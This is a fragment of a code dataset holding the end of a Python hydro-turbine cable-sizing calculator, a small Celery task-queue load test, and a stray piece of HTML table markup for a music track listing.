Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user enters a new effeciency target for the cable\r\n if (siteGUI.GUI_process_option == 'SetCableEff'):\r\n siteGUI.GUI_LockCable = 0\r\n site.cableLock = 0\r\n fetchall()\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable size required for design loss and confirm results numbers. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user enters a new cable length\r\n if (siteGUI.GUI_process_option == 'NewCable'):\r\n fetchall()\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user enters a new target load voltage\r\n if (siteGUI.GUI_process_option == 'NewCableV'):\r\n fetchall()\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user chooses a new material for the cable.\r\n if (siteGUI.GUI_process_option == 'NewCableMaterial'):\r\n previous = site.cable_material\r\n fetchall()\r\n site.cable_size = site.cable_size * site.material[site.cable_material] / site.material[previous]\r\n\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable size required for design loss and confirm results numbers. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user chooses a new cable size based on sqr mm\r\n if (siteGUI.GUI_process_option == 'NewCablesize'):\r\n siteGUI.GUI_LockCable = 1\r\n site.cableLock = 1\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'New mm based cable size selected' + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_cable_mm_title = 'Cable cross section'\r\n siteGUI.GUI_cable_AWG_title = 'Next size up cable'\r\n siteGUI.GUI_cable_mm_AWG = 'mm'\r\n fetchall()\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user chooses a new cable size based on AWG\r\n if (siteGUI.GUI_process_option == 'NewCableAWG'):\r\n siteGUI.GUI_LockCable = 1\r\n site.cableLock = 1\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'New AWG based cable size selected' + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_cable_mm_AWG = 'AWG'\r\n siteGUI.GUI_cable_mm_title = 'Metric cross section'\r\n siteGUI.GUI_cable_AWG_title = 'Cable size'\r\n fetchall()\r\n fetchAWG()\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n # What to do when user chooses to lock the cable size\r\n if ((siteGUI.GUI_process_option == 'NewCableAWG') or (siteGUI.GUI_process_option == 'NewCablesize') or (\r\n siteGUI.GUI_process_option == 'CableLock')):\r\n # siteGUI.GUI_diag = siteGUI.GUI_diag + 'Cable size now locked/unlocked' + siteGUI.GUI_diag_cr\r\n fetchall()\r\n if (int(siteGUI.GUI_LockCable) == 0):\r\n site.cableLock = 0\r\n siteGUI.GUI_cable_mm_AWG = 'mm'\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n if (int(siteGUI.GUI_LockCable) == 1):\r\n site.cableLock = 1\r\n PowerSpout_calc() # Calculate number of PowerSpouts required and jet(s) sizes for this water jet power\r\n CalcCable() # Calculate the cable loss. Includes min conductor size for amps check\r\n reportAll()\r\n\r\n\r\n\"\"\"def fetchHTTP_data():\r\n\tsiteGUI.GUI_initial_data = 1\r\n\tsiteGUI.GUI_process_option = 'basicdata'\r\n\tsiteGUI.GUI_meas_sys = 'Metric'\r\n\tsiteGUI.GUI_PStype = 'PLT'\r\n\tsiteGUI.GUI_avail_Wflow = '1'\r\n\tsiteGUI.GUI_penstock_head = '100'\r\n\tsiteGUI.GUI_penstock_len = '22'\r\n\tsiteGUI.GUI_penstock_eff_target = '77'\r\n\tsiteGUI.GUI_penstock_dia = '88mm'\r\n\tsiteGUI.GUI_PenSLkd = 1\r\n\tsiteGUI.GUI_Num_PS = 1\r\n\tsiteGUI.GUI_Num_PS_Lkd = 1\r\n\tsiteGUI.GUI_turbine_nozzles = 2\r\n\tsiteGUI.GUI_cable_eff_target = '98'\r\n\tsiteGUI.GUI_cable_len = '123ft'\r\n\tsiteGUI.GUI_Dload_V = '66'\r\n\tsiteGUI.GUI_LockCable = 0\r\n\tsiteGUI.GUI_cable_material = 'Copper'\r\n\tsiteGUI.GUI_cable_size = ''\r\n\tsiteGUI.GUI_cable_AWG = ''\r\n\r\ndef putHTTP_data():\r\n\tresponse = \"{\"\r\n\r\n\tresponse += \"\\\"initial_data\\\" : \\\"\"+str(siteGUI.GUI_initial_data)+\"\\\", \"\r\n\tresponse += \"\\\"avail_Wflow\\\" : \\\"\"+str(siteGUI.GUI_avail_Wflow)+\"\\\", \"\r\n\tresponse += \"\\\"Wflow\\\" : \\\"\"+str(siteGUI.GUI_Wflow)+\"\\\", \"\r\n\tresponse += \"\\\"penstock_head\\\" : \\\"\"+str(siteGUI.GUI_penstock_head)+\"\\\", \"\r\n\tresponse += \"\\\"eff_head\\\" : \\\"\"+str(siteGUI.GUI_eff_head)+\"\\\", \"\r\n\tresponse += \"\\\"penstock_len\\\" : \\\"\"+str(siteGUI.GUI_penstock_len)+\"\\\", \"\r\n\tresponse += \"\\\"penstock_eff_target\\\" : \\\"\"+str(siteGUI.GUI_penstock_eff_target)+\"\\\", \"\r\n\tresponse += \"\\\"penstock_dia\\\" : \\\"\"+str(siteGUI.GUI_penstock_dia)+\"\\\", \"\r\n\tresponse += \"\\\"PenSLkd\\\" : \\\"\"+str(siteGUI.GUI_PenSLkd)+\"\\\", \"\r\n\tresponse += \"\\\"Num_PS\\\" : \\\"\"+str(siteGUI.GUI_Num_PS)+\"\\\", \"\r\n\tresponse += \"\\\"turbine_nozzles\\\" : \\\"\"+str(siteGUI.GUI_turbine_nozzles)+\"\\\", \"\r\n\tresponse += \"\\\"Num_PS_Lkd\\\" : \\\"\"+str(siteGUI.GUI_Num_PS_Lkd)+\"\\\", \"\r\n\tresponse += \"\\\"jet_dia\\\" : \\\"\"+str(siteGUI.GUI_jet_dia)+\"\\\", \"\r\n\tresponse += \"\\\"actual_pipe_eff\\\" : \\\"\"+str(siteGUI.GUI_actual_pipe_eff)+\"\\\", \"\r\n\tresponse += \"\\\"Opr_rpm\\\" : \\\"\"+str(siteGUI.GUI_Opr_rpm)+\"\\\", \"\r\n\tresponse += \"\\\"PS_pwr_ea\\\" : \\\"\"+str(siteGUI.GUI_PS_pwr_ea)+\"\\\", \"\r\n\tresponse += \"\\\"Actual_turbine_electric_pwr\\\" : \\\"\"+str(siteGUI.GUI_Actual_turbine_electric_pwr)+\"\\\", \"\r\n\tresponse += \"\\\"cable_eff_target\\\" : \\\"\"+str(siteGUI.GUI_cable_eff_target)+\"\\\", \"\r\n\tresponse += \"\\\"cable_len\\\" : \\\"\"+str(siteGUI.GUI_cable_len)+\"\\\", \"\r\n\tresponse += \"\\\"Dload_V\\\" : \\\"\"+str(siteGUI.GUI_Dload_V)+\"\\\", \"\r\n\tresponse += \"\\\"Aload_V\\\" : \\\"\"+str(siteGUI.GUI_Aload_V)+\"\\\", \"\r\n\tresponse += \"\\\"LockCable\\\" : \\\"\"+str(siteGUI.GUI_LockCable)+\"\\\", \"\r\n\tresponse += \"\\\"cable_mm_title\\\" : \\\"\"+str(siteGUI.GUI_cable_mm_title)+\"\\\", \"\r\n\tresponse += \"\\\"cable_size\\\" : \\\"\"+str(siteGUI.GUI_cable_size)+\"\\\", \"\r\n\tresponse += \"\\\"cable_AWG\\\" : \\\"\"+str(siteGUI.GUI_cable_AWG)+\"\\\", \"\r\n\tresponse += \"\\\"cable_AWG_title\\\" : \\\"\"+str(siteGUI.GUI_cable_AWG_title)+\"\\\", \"\r\n\tresponse += \"\\\"cable_dia_mm_sld\\\" : \\\"\"+str(siteGUI.GUI_cable_dia_mm_sld)+\"\\\", \"\r\n\tresponse += \"\\\"cable_dia_mm_str\\\" : \\\"\"+str(siteGUI.GUI_cable_dia_mm_str)+\"\\\", \"\r\n\tresponse += \"\\\"cable_amps\\\" : \\\"\"+str(siteGUI.GUI_cable_amps)+\"\\\", \"\r\n\tresponse += \"\\\"actual_cable_eff\\\" : \\\"\"+str(siteGUI.GUI_actual_cable_eff)+\"\\\", \"\r\n\tresponse += \"\\\"cable_Vgen\\\" : \\\"\"+str(siteGUI.GUI_cable_Vgen)+\"\\\", \"\r\n\tresponse += \"\\\"Load_pwr\\\" : \\\"\"+str(siteGUI.GUI_Load_pwr)+\"\\\", \"\r\n\tresponse += \"\\\"design_notes_hydro\\\" : \\\"\\n\"+ siteGUI.GUI_design_notes_hydro+\"\\\", \"\r\n\tresponse += \"\\\"design_notes_elec\\\" : \\\"\\n\"+siteGUI.GUI_design_notes_elec+\"\\\", \"\r\n\tresponse += \"\\\"design_notes_safety\\\" : \\\"\\n\"+siteGUI.GUI_design_notes_safety+\"\\\"\"\r\n\tresponse += \"}\"\r\n\r\n\treturn response\r\n\r\nprint \"Content-Type: text/plain\\n\"\r\nfetchHTTP_data()\r\nprocess_here()\r\nprint putHTTP_data()\"\"\"\r\n","sub_path":"flaskCalculator_V3/PS_Maths_20160226_R17.py","file_name":"PS_Maths_20160226_R17.py","file_ext":"py","file_size_in_byte":169179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"118603111","text":"import time\nimport sys\nimport timeit\n\nfrom celery import Celery\n\n\nbroker = 'memory://'\n\napp = Celery(broker=broker)\n\napp.conf.update({\n 'CELERYD_LOG_COLOR': False,\n})\n\n\n\n@app.task\ndef add(x, y):\n time.sleep(2)\n return x + y\n\n\n@app.task\ndef dummy():\n time.sleep(2)\n pass\n\n\ntasks = 1000\nstart_time = timeit.default_timer()\n[dummy.delay() for i in range(tasks)]\nduration = timeit.default_timer() - start_time\nprint(\"Queue rate: \" + str(tasks//duration) + \" tasks/sec\")\n","sub_path":"python/celery_load_test.py","file_name":"celery_load_test.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"}
Track IDTrack NameAlbumArtistTrack NumberYearAlbum ArtistDisc NumberGenre
Date AddedFile Size
\" + str(track[num]) + \"